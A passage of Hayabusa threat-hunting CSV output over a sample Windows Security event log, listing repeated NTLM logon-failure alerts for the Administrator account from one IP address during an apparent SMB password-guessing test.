NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MdQqr1T4frPNlulf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: niiXRpP5AVHpG9Hu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EThR98jZUdwNxbXQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.465 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NBsJcIw859FfEkLD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.502 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kG4Tv5vauSWhbj8F : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.543 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 453tjgRGMu46vC33 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1fnzhhfszxJWxLCT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dWPkeL8TnAbC1nSV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.659 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JrDmUzyK4Xxx6Jn1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bMTf9D2yjumfS9LM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.787 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8cCs65ithseTCORa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.823 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QBrGAScjpAdScGmJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.864 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n90F99qBpmUUVLId : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.912 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MLeOkIG0hVHIOnN7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vVx5uUtkaFIf7PWZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kgd7lCQUQ3dHN18S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.032 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b8m2MmpFVK9Uojp7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.071 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F0NZjeu3lb5xddVQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.112 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YjjXBZnyWt0ljzpv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sinFBozyUR0sBadM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Au22Y0LIuvTmZDpy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QDWW3VfZ7rKayV2v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.264 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zPgaFDZtc5wEupnq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.363 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TpYZc2TTDfJFnPHo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.434 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rYKkl1iHImW9NwKv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.489 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KxA2dh1iUMaMWOkA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.542 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sCzEzW8jDZGGZcpd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.589 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p8510u5OsCVd94I5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.628 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2a0whHngnv7o1Bz2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xy6cGuYgubjlXoMw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.708 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: luoXLN2XZQC0lHfu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8jdKLW96haKCHHXI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.792 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9SQSH6E1aKXu1o7T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nOUdKa838wK1mLFw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aFmILxspIJsiEHwL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.912 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pCz7qbdSEyqxQSKm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.960 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ny3F1xPgakJK0CA7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.001 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Vi7Moaa6d12CzWhl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.048 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4fbbRVOig9bn9p5g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.079 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qSZrfRe9d0LLkbmA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QqdZMYsbXFlrKFxk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.152 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kypdxj88trEUBEny : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9hM8fge1IrNsJNd2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SzG27JSj6iAFyiNT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.269 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hWcjuW8dU5ATLHzB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.304 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ns9lm9Nvhvi4fY6A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.353 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aExdYPqY2eUCYZmC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.389 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t9cnmRGdByuJlKZj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f9RvWTFFUgCrhlkD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.480 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HC3oQUIEWqztyx6s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TK3BOeD2w9xPB4N1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I6yzU5WuvpmPKLSS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GFoUGsara5Pl03WP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.634 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qLaOCImeMIMlGvMj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.761 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Vzb3pEI2ZeP2NFA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.821 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7Fa7ebH7UXd1KW4X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.869 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wRBHXRkOa6x5KI5G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.915 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VNVxzgOLrZzfP3cB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.944 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yCNXajRX2lIgLQuc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.992 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x0nukf24IoalycOn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.101 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xZFZN0KfeHtyDppG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.144 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZmxqKyWU5GU1y22P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WuRyvCfgQ4rwG3fu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3prKZt5ymouwNKnK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.264 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CWrNNn13EC1FLwLA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.308 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SfnBT5OvT5cQXHfS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RLZFPCShXoPvvThS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.388 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UsPCJ0UlfH4urYrm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MIQlOetFByLZqPkT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c9IBZ0qTDlHWADZt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.491 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lmhkB39gKvvuT89e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.536 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4KPoZ8JB7WSjUCHW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0mwiPq4gF1YXkQSl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.615 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y5ncgrpwOFo7E8vg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:01.647 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KbkG8ezrAPFC0iKu : IP Address: 192.168.198.149 : AuthPackage: 